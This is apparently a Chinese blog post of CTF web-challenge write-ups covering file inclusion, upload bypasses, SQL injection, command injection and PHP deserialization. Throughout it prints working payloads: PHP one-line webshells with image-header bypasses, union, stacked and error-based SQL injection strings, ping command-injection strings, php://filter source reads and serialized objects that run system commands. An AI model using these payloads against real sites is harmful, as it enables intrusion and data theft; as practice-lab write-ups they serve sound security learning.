本文最后更新于 2026-03-14T16:02:43+08:00
[ACTF2020 新生赛]Include
啥都没有,只有url里给了get传参,题目又叫include盲猜文件包含,用了filter伪协议得到了flag的base64编码
解码得到flag
Upload-Labs-Linux 01JS前端绕过
根据提示是js绕过
方法一
先按要求上传.jpg是一句话木马,用bp拦截抓包
修改后缀名,在原网站访问文件
然后用蚁剑连接
方法二
f12+f1,直接在网页禁用js
然后可以直接传.php文件然后蚁剑连接
02MIME绕过
1 if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' ))
是MIME绕过,bp抓包将Content-Type改成image/jpeg,image/png,image/gif
然后就跟01一样了蚁剑连接
03文件后缀名绕过(等价扩展名)
禁止了.asp,.aspx,.php,.jsp后缀文件
上传jpg文件,bp抓包,在请求包中将后缀名改为.phtml绕过
然后蚁剑连接同上
[DASCTF 2025下]SecretPhotoGallery
一个登录界面尝试万能密码
报错:Warning : SQLite3::query(): Unable to prepare statement: 1, near “‘ AND password = ‘“: syntax error in /var/www/html/index.php on line 36
1 username =admin'order+by+2 #&password=1
测试列数
报错:SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "#" in
1 username=admin'order +by+4
报错:SQLite3::query(): Unable to prepare statement: 1, 1st ORDER BY term out of range - should be between 1 and 3 in
说明是列数为3
1 username =admin'union+select+1 ,2 ,3 --+&password=1
回显的是auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ndW5pb24gc2VsZWN0IDEsMiwzLS0gIiwicm9sZSI6Imd1ZXN0IiwiaWF0IjoxNzY1NDUyODMyfQ.QMECTceQzeTss9mP6EMyTiq1OO5suxsW8a7N75Csas8
这是JWT鉴权,可以利用在线网站解
网站:https://jwt.calebb.net/
感觉像一串编码
虽然感觉不像但还是尝试了base64解码
返回值为{“typ”:”JWT”,”alg”:”HS256”}{“user”:”admin’union select 1,2,3– “,”role”:”guest”,”iat”:1765452832}
解析
“typ”:”JWT”:声明这个令牌的类型是JWT
“alg”:”HS256”:声明这个JWT的签名算法是HMAC SHA-256(这是一种对称加密算法,签名和验签需要使用同一个密钥
“user”:”admin’union select 1,2,3– “:这里嵌入了我输入的sql注入的payload
“role”:”guest”:当前身份是用户角色,当前是访客权限
username=admin’union+select+1,database(),3–+&password=1
报错:SQLite3::query(): Unable to prepare statement: 1, no such function: database in
解析:当前数据库SQLite3不支持database()函数
数据库类型
获取当前数据库/路径的函数
MySQL/MariaDB
database()
SQLite3
sqlite_master表查询/pragme database_list
SQL Server
DB_NAME()
username=admin’union+select+1,sqlite_master,3–+&password=1
报错:SQLite3::query(): Unable to prepare statement: 1, no such column: sqlite_master in
解析:sqlite_master是核心系统表,正常情况下所有 SQLite3 数据库都存在这个表
登录成功,查看源码
这些就是密钥
GALLERY2024SECRET
校验成功,就可以伪造admin
更改cookie
[极客大挑战 2019]EasySQL1(单引号闭合,万能密码)
打开是一个登陆界面就想到sql注入
万能密码尝试一下admin’or 1=’1’
报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘111’’ at line 1
在password注入点注入
111’order by 2–+
报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1
说明是单引号的闭合有问题,可以判断闭合方式可能是单引号
验证一下,去掉单引号,不报错只显示用户名密码错误
再测试双引号
在password处注入万能密码
依旧报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1
回显成功
[极客大挑战 2019]Havefun
打开什么都没有,直接查看源码
看到代码,那很简单了,get传参
ACTF2020 新生赛]Exec
页面是ping就想到了用管道符可以尝试执行命令
有回显说明是可以的,那就很简单了
管道分隔符的特点就是不管前面是什么后面的命令都会正常执行,所以直接写一个|然后加上要执行的命令就行了
最后直接cat /flag就可以得到flag了
[GXYCTF2019]Ping Ping Ping 又是ping,感觉跟上题差不多
看到flag.php文件
这里一直无法得到flag感觉是过滤了空格
这里看起来又过滤了flag
666还有过滤
刚刚忘记看另一个文件了。。。里面有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset ($_GET ['ip' ])){ $ip = $_GET ['ip' ]; if (preg_match ("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match )){ echo preg_match ("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match ); die ("fxck your symbol!" ); } else if (preg_match ("/ /" , $ip )){ die ("fxck your space!" ); } else if (preg_match ("/bash/" , $ip )){ die ("fxck your bash!" ); } else if (preg_match ("/.*f.*l.*a.*g.*/" , $ip )){ die ("fxck your flag!" ); } $a = shell_exec ("ping -c 4 " .$ip ); echo "<pre>" ; print_r ($a ); }?>
过滤了很多比如空格转义符通配符问好引号括号flag还有bash,这里想到反引号没有被过滤
试了一下好像没法绕过flag,就想到了之前写过的内联执行
emmmm没有反应
payload
1 ?ip=127.0 .0.1 ;x=g;cat $IFS $1fla $x .php
把分隔符换成;就有反应了,哦好像是上面过滤了|这个管道分隔符
[极客大挑战 2019]LoveSQL admin’or 1=1#万能密码
看到url是get传参,尝试在uesername里面注入
?username=1’order by 3%23&password=abc
%23对#进行url编码,注入3时回显密码用户名错误
注入4
报错,那列就是3,然后测试注入点
?username=1’union select 1,2,3%23&password=abc
?username=1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’geek’%23&password=abc
?username=1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=’l0ve1ysq1’%23&password=abc
?username=1’union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=abc
[极客大挑战 2019]Secret File 先信息收集
访问这个网址
啥也没看到就结束了???
拦截抓包
访问secr3t.php
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ ); error_reporting (0 ); $file =$_GET ['file' ]; if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file ); ?>
看到了源码,是一道文件包含
1 2 if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ;
过滤掉了http,input,data伪协议
那就用过滤器
?file=php://filter/read=convert.base64-encode/resource=flag.php
之前被压力了这次纯手打的(记住了
看到了一串编码
解码得到flag
[极客大挑战 2019]Http
查看源码,访问
修改请求头
修改UA头
需本地登录
但这里没有回显flag,就去bp抓包修改请求头了
[极客大挑战 2019]PHP 说了备份源码就尝试了比较常见的www.zip
1 2 3 4 5 <?php include 'class.php' ; $select = $_GET ['select' ]; $res =unserialize (@$select ); ?>
get传参,但最后把参数值反序列化了
看class源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php include 'flag.php' ;error_reporting (0 );class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } }?>
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Name { private $username = 'admin' ; private $password = '100' ; }$a = new Name ();echo urlencode (serialize ($a ));?> O%3 A4%3 A%22 Name%22 %3 A2%3 A%7 Bs%3 A14%3 A%22 %00 Name%00 username%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A14%3 A%22 %00 Name%00 password%22 %3 Bs%3 A3%3 A%22100 %22 %3 B%7 D
绕过__wakeup
payload
1 ?select =O%3A 4%3A "Name" %3A 3%3A {s%3A1 4%3A "%0 0Name%00username " %3Bs%3A 5%3A "admin" %3Bs%3A1 4%3A "%0 0Name%00password " %3Bs%3A 3%3A "100" %3B }
[极客大挑战 2019]Upload
文件上传要求传图片
bp抓包
传一句话木马但标签<?被过滤了,就绕过
1 <script language ="php" > eval ($_POST['cmd' ]);</script >
这里应该有个文件头检查和后缀名检查
1 GIF89a<script language ="php" > eval ($_POST['cmd' ]);</script >
上传成功,蚁剑连接得到flag
[极客大挑战 2019]Knife
看到一句话木马,直接蚁剑连接
连接成功,就可以在根目录下找到flag
[ACTF2020 新生赛]Upload 把鼠标放在灯泡上发现它亮了看到了一个文件上传的地方
上传一句话木马,绕过文件名后缀
[GXYCTF2019]BabyUpload 第一次直接上传图片失败了,ph后缀名全部被过滤了,就想到了配置文件
这里有一个MIME绕过,然后再传一句话木马,蚁剑连接
[ACTF2020 新生赛]BackupFile 在kail里面扫描目录,得到源码文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include_once "flag.php" ;if (isset ($_GET ['key' ])) { $key = $_GET ['key' ]; if (!is_numeric ($key )) { exit ("Just num!" ); } $key = intval ($key ); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ; if ($key == $str ) { echo $flag ; } }else { echo "Try to find out source file!" ; }
代码分析
1 2 3 if (!is_numeric ($key )) { exit ("Just num!" ); }
如果key的值不全是数字会返回Just num!
1 2 3 f ($key == $str ) { echo $flag ; }
对key的值和str的值进行弱比较
要满足上述两点才能返回flag的值,因为是弱比较,is_numeric可以绕过
?key=123
[极客大挑战 2019]BuyFlag
1 2 3 4 5 6 7 8 9 10 11 <!-- ~~~post money and password~~~if (isset ($_POST ['password' ])) { $password = $_POST ['password' ]; if (is_numeric ($password )) { echo "password can't be number</br>" ; }elseif ($password == 404 ) { echo "Password Right!</br>" ; } } -->
需要上传money和password两个参数
1 2 3 4 5 if (is_numeric ($password )) { echo "password can't be number</br>" ; }elseif ($password == 404 ) { echo "Password Right!</br>" ; }
password正确的话要满足值等于404,并且传入的值不能只是数字,看起来很矛盾,但注意到这里是一个弱比较,那就可以绕过了
但这里又显示money的值太长,我们要想办法绕过
第一种可以用数组绕过
第二种可以用科学计数法绕过
[MRCTF2020]你传你🐎呢 文件上传,先传了图片发现能够上传成功但是不能连蚁剑,就想到了配置文件
先传配置文件
再传一句话木马
蚁剑连接
[RoarCTF 2019]Easy Calc 这里让测试,先想到了ssti模板注入,尝试了49,报错了,然后直接尝试了7*7,成功执行
在这里找到了calc.php文件访问一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (!isset ($_GET ['num' ])){ show_source (__FILE__ ); }else { $str = $_GET ['num' ]; $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $str )) { die ("what are you want to do?" ); } } eval ('echo ' .$str .';' ); }?>
这里黑名单里有空格 制表符 回车符 换行符 引号 方括号 反斜杠
页面报错, 但是出现这种画面,应该是被防火墙拦截了。
可以通过在num前面加空格绕过
可以执行但是没有flag
因为有waf一些正常的命令也无法执行,就想到了打无参rce
这里看到返回值里没找到可能存在flag的文件
传入参数47是/的ASSCII码值
得到f1aggg文件
? num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
[SUCTF 2019]CheckIn 传文件,发现<?被过滤了
标签绕过,但还是不行,就想到加文件头
1 GIF89a<script language ="php" > eval ($_POST['cmd' ]);</script >
上传成功了但是图片格式
就想到可能是要传配置文件
1 2 3 GIF89aauto_append_file =1.jpg
这里要用幻术头绕过一下,上传成功了,再传一句话木马
然后访问/uploads/331f5a2fec4659f9c8cd3a470a780b69/index.php
进行rce
[MRCTF2020]Ez_bypass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 include 'flag.php' ;$flag ='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['gg' ])&&isset ($_GET ['id' ])) { $id =$_GET ['id' ]; $gg =$_GET ['gg' ]; if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ; if (isset ($_POST ['passwd' ])) { $passwd =$_POST ['passwd' ]; if (!is_numeric ($passwd )) { if ($passwd ==1234567 ) { echo 'Good Job!' ; highlight_file ('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } }else { die ('Please input first' ); } }Please input first
对gg和id的值进行比较,md5值相同但gg与id的值不同,passwd的值为1234567但不能只是数字
[BJDCTF2020]Easy MD5
查询界面,利用md5万能密码:ffifdyop
1 2 3 4 5 6 7 <!--$a = $GET ['a' ];$b = $_GET ['b' ];if ($a != $b && md5 ($a ) == md5 ($b )){ -->
看到源码,md5弱比较
?a[]=1&b[]=2
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['param1' ]!==$_POST ['param2' ]&&md5 ($_POST ['param1' ])===md5 ($_POST ['param2' ])){ echo $flag ; }
post传参md5弱比较
[护网杯 2018]easy_tornado
flag.txt
hints.txt
要对 cookie_secret和md5加密后的(filename)再次进行md5加密
?filename=/fllllllllllllag&filehash=6023d8b20b0e0edd869292cbcbc845e5
在url中输入什么就会回显什么,再看题目名字就想到是模板注入
?msg=
得到cookie_secret的值加上(filename)md5加密后的值再次加密
?filename=/fllllllllllllag&filehash=b4e93a7e834694937375ae2505bc9290
[网鼎杯 2020 青龙组]AreUSerialz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } }function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }?>
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } }
strlen函数判断content的字符串长度,满足content<100即可绕过
1 2 3 4 5 6 function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }
ord函数返回S的ASSCII值s为字符串类型,S为16进制字符串数据类型
绕过方式%00转换为\00即可绕过
构造链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class FileHandler { protected $op =2 ; protected $filename ='flag.php' ; protected $content ; }$a =urlencode (serialize (new FileHandler ));$b =str_replace ('%00' ,"\\00" ,$a );$b =str_replace ('s' ,'S' ,$b );echo $b ;?> O%3 A11%3 A%22 FileHandler%22 %3 A3%3 A%7 BS%3 A5%3 A%22 \00 %2 A\00 op%22 %3 Bi%3 A2%3 BS%3 A11%3 A%22 \00 %2 A\00 filename%22 %3 BS%3 A8%3 A%22 flag.php%22 %3 BS%3 A10%3 A%22 \00 %2 A\00 content%22 %3 BN%3 B%7 D
解法二(突破protected访问修饰符权限)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class FileHandler { protected $op =2 ; protected $filename ='php://filter/read=convert.base64-encode/resource=flag.php' ; protected $content ; }$a =serialize (new FileHandler );echo $a ; O:11 :"FileHandler" :3 :{s:5 :" * op" ;i:2 ;s:11 :" * filename" ;s:57 :"php://filter/read=convert.base64-encode/resource=flag.php" ;s:10 :" * content" ;N;}
将乱码修改传入url
?str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:7:”content”;N;}
base64解码
[GYCTF2020]Blacklist
是一个注入界面,想到了模板注入试了一下发现好像都不是,就想到了sql注入,先测试一下是不是字符注入
测试1’
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’1’’’ at line 1
尝试了联合注入,好像不对,就尝试堆叠注入
测试1’;show databases;
测试1’;show tables;
看到存在FlagHere的表名,测试字段数
上面说的测试联合注入感觉不对其实是我第一次闭合符用错了,我一开始用的是–+,但这里要用– -
测试1’order by 3 – -
存在报错
测试1’order by 2 – -
没有报错,说明是有2个字段
想进行联合注入,发现select被过滤了
测试1’;show columns from FlagHere;
测试1’;show columns from flag;
测试1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;
[ZJCTF 2019]NiZhuanSiWei 用data和filter伪协议
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串base64编码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
构造链子,文件名为flag.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Flag { public $file ; }$a = new FLAG ();$a ->file="flag.php" ;echo serialize ($a );?>
1 ?text =data://text /plain,welcome to the zjctf&file=useless.php&password =O:4 :"Flag":1 :{s:4 :"file";s:8 :"flag.php";}
[HCTF 2018]admin
这个界面啥也没有,就看源码,看到了2个可访问的网址
访问/login就有了这个登录界面
解法一弱口令爆破
登录界面拦截抓包
爆破成功密码是123
登录后就能得到flag
[BSidesCF 2020]Had a bad day
尝试读取源码,可能存在文件包含,用了filter伪协议
1 ?category=php://filter /read =convert .base64-encode/resource=index.php
出现报错,读取失败
尝试了一下发现只读index就能成功
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $file = $_GET ['category' ]; if (isset ($file )) { if ( strpos ( $file , "woofers" ) !== false || strpos ( $file , "meowers" ) !== false || strpos ( $file , "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } } ?>
解码找到有用的代码
strpos():用来查找字符串首次出现的位置
这里需要 有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php
1 /index.php?category=php:/ /filter/ read =convert.base64-encode/index/ resource=flag
套一个index字符以符合条件
[极客大挑战 2019]BabySQL 万能密码测试admin or 1=’1’
111’order by 2–+
这个报错发现or by都被过滤了
双写绕过
报错,说明字段数为3
union select也被过滤,依旧双写绕过
1 111 'ununionion seselectlect 1 ,2 ,database()#
1 111'u nunionion seselectlect 1 ,2 ,group_concat(table_name) from information_schema.tables where table_schema='geek' #
可看出information,from被过滤,依旧双写绕过
1 111 'ununionion seselectlect 1 ,2 ,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
1 111 'ununionion seselectlect 1 ,2 ,group_concat(flag) frfromom ctf.Flag#
[强网杯 2019]随便注 根据wp复现的
方法一
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1
测试是否存在sql注入
报错说明后端参数后面有可能存在其他sql语句
#注释掉后面其他可能存在的sql语句
return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);
出现正则表达式,说明把select这些关键字过滤了
尝试堆叠注入
查看数据库名
查看表名
1 1 ';show columns from `1919810931114514 `;
注意,如果表名是纯数字,需要用反引号`包裹
看到了flag,但是select被过滤,用预编译绕过
1 1' ;prepare hacker from concat ('s' ,'elect' , ' * from `1919810931114514` ' ) ;execute hacker;#
prepare:定义一个预处理语句,名为hacker
‘s’,’elect’, ‘ * from 1919810931114514 ‘:拼接完整查询语句select from
execute hacker;:执行之前定义的预处理语句
方法二 最后一步对select from 1919810931114514语句进行16进制编码
73656c6563742066726f6d20603139313938313039333131313435313460
1 1 ';prepare hacker 7365 6c656374206672 6f6d20603139313938 31303933313131 3435313460 ;execute hacker;#
方法三 利用handle
1 1 ';handler `19198109311145 14` open;handler `19198109311145 14` read first;handler `19198109311145 14` close;
[GXYCTF2019]BabySQli 在name处进行sql注入,看到一串编码,类似于base,先用base32再用base64
就看到注入点是name
报错:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’admin’’’ at line 1
1 name=admin'union +select +1 ,2
Error: The used SELECT statements have a different number of columns
1 name=admin'union +select +1 ,2 ,3
有回显说明字段数是3
测试admin在哪一列
测试出在第二列
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php require "config.php" ;require "flag.php" ;if (get_magic_quotes_gpc ()) { function stripslashes_deep ($value ) { $value = is_array ($value ) ? array_map ('stripslashes_deep' , $value ) : stripslashes ($value ); return $value ; } $_POST = array_map ('stripslashes_deep' , $_POST ); $_GET = array_map ('stripslashes_deep' , $_GET ); $_COOKIE = array_map ('stripslashes_deep' , $_COOKIE ); $_REQUEST = array_map ('stripslashes_deep' , $_REQUEST ); }mysqli_query ($con ,'SET NAMES UTF8' );$name = $_POST ['name' ];$password = $_POST ['pw' ];$t_pw = md5 ($password );$sql = "select * from user where username = '" .$name ."'" ;$result = mysqli_query ($con , $sql );if (preg_match ("/\(|\)|\=|or/" , $name )){ die ("do not hack me!" ); }else { if (!$result ) { printf ("Error: %s\n" , mysqli_error ($con )); exit (); } else { $arr = mysqli_fetch_row ($result ); if ($arr [1 ] == "admin" ){ if (md5 ($password ) == $arr [2 ]){ echo $flag ; } else { die ("wrong pass!" ); } } else { die ("wrong user!" ); } } }?>
题目给源码
if(preg_match(“/(|)|=|or/“, $name)):过滤了or,=,\这些关键字
if(md5($password) == $arr[2]):密码被md5加密了
这里就是将传入的值进行md5加密然后存入password中就是第三个字段,使用查询语句时pw参数会被md5加密然后会与之前存入的值进行比较,如果一样则会回显flag
这里pw传入123,再对123进行md5加密,作为第三个字段传入得到flag
[网鼎杯 2020 朱雀组]phpweb 抓包,看到post传参有两个参数,尝试MD5函数,发现可以执行,就是把p的参数值进行了MD5加密
说明可以func传入的函数,p转入的命令
尝试rce
可能被ban了
执行func=highlight_file&p=index.php可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } }?>
是反序列化
1 2 3 4 5 6 7 8 9 10 11 <?php class Test { var $p = "ls" ; var $func = "system" ; }$a = new Test ();echo serialize ($a );?>
1 2 3 4 5 6 7 8 9 10 <?php class Test { var $p = "find / -name flag*" ; var $func = "system" ; }$a = new Test ();echo serialize ($a );?> O:4 :"Test" :2 :{s:1 :"p" ;s:18 :"find / -name flag*" ;s:4 :"func" ;s:6 :"system" ;}
1 func =unserialize&p=O:4 :"Test" :2 :{s:1 :"p" ;s:22 :"cat /tmp/flagoefiu4r93" ;s:4 :"func" ;s:6 :"system" ;}
1 2 3 4 5 6 7 8 9 10 <?php class Test { var $p = "cat /tmp/flagoefiu4r93" ; var $func = "system" ; }$a = new Test ();echo serialize ($a );?> O:4 :"Test" :2 :{s:1 :"p" ;s:22 :"cat /tmp/flagoefiu4r93" ;s:4 :"func" ;s:6 :"system" ;}
1 func =unserialize&p=O:4 :"Test" :2 :{s:1 :"p" ;s:22 :"cat /tmp/flagoefiu4r93" ;s:4 :"func" ;s:6 :"system" ;}
[极客大挑战 2019]HardSQL(报错注入)
测试出闭合方式
尝试万能密码
尝试了联合注入和堆叠注入,猜测可能有字符被过滤了
尝试报错注入
1 username =1 'or(updatexml(1 ,concat(0 x7e,database(),0 x7e),1 ))%23 &password=1
查找数据库名
1 username=1 %27 or (updatexml(1 ,concat(0x7e ,(select (group_concat(table_name ))from (information_schema.tables )where (table_schema)like (database ())),0x7e ),1 ))%23 &password =1
查看字段
1 username =1 'or(updatexml(1 ,concat(0 x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0 x7e),1 ))%23 &password=1
继续查询
1 username =1 ’or(updatexml(1 ,concat(0 x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0 x7e),1 ))#&password=1
flag{e3269d3a-2904-4206-aa
1 username =1 'or(updatexml(1 ,concat(0 x7e,(select(group_concat((right(password,25 ))))from(H4rDsq1)),0 x7e),1 ))%23 &password=1
4-4206-aa92-2a4a36d98a0a}
[BJDCTF2020]ZJCTF,不过如此 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?phperror_reporting (0 ) ; $text = $_GET["text" ]; $file = $_GET["file" ];if (isset($text)&&(file_get_contents($text,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ die("Not now!" ); } include($file); }else { highlight_file(__FILE__); } ?>
payload
1 ?file=data:// text/plain,I have a dream&text=php:/ /filter/ read=convert.base64-encode/resource=next .php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $id = $_GET['id' ]; $_SESSION['id' ] = $id; function complex ($re, $str) { return preg_replace( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach($_GET as $re => $str) { echo complex ($re, $str) . "\n"; } function getFlag () { @eval($_GET['cmd' ]); }
访问next.php页面
payload
1 ?id =1&\S*={${getFlag()} }&cmd =system("ls /");
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR' ])) { $_SERVER['REMOTE_ADDR' ] = $_SERVER['HTTP_X_FORWARDED_FOR' ]; }if (!isset($_GET['host' ])) { highlight_file(__FILE__); } else { $host = $_GET['host' ]; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin" . $_SERVER['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox; @mkdir($sandbox); chdir($sandbox); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host) ; }
代码审计
1 2 3 if (isset($_SERVER['HTTP_X_FORWARDED_FOR' ])) { $_SERVER['REMOTE_ADDR' ] = $_SERVER['HTTP_X_FORWARDED_FOR' ]; }
检测代码中是否存在XFF,若存在则将$_SERVER[‘REMOTE_ADDR’]的值覆盖为XFF的值
1 2 3 $host = $_GET['host' ]; $host = escapeshellarg($host); $host = escapeshellcmd($host);
对host参数的防护
作用:将字符串用单引号包裹,并转义 字符串内的单引号,使其成为一个安全的 shell 参数
作用:转义 shell 中的特殊字符(如 & ;$ > < 等),使其失去特殊意义
1 2 3 4 $sandbox = md5("glzjin" . $_SERVER['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox; @mkdir($sandbox); chdir($sandbox);
拼接字符串 glzjin + 客户端 IP,通过 md5 生成唯一的沙箱目录名
1 echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host) ;
拼接 host 参数到 nmap 命令中,通过 system 函数执行命令,并输出执行结果
nmap命令参数说明
-T5:最快的扫描速度模板
-sT:TCP连接扫描
-Pn:跳过主机存活检测
–host-timeout 2:主机超时时间 2 秒
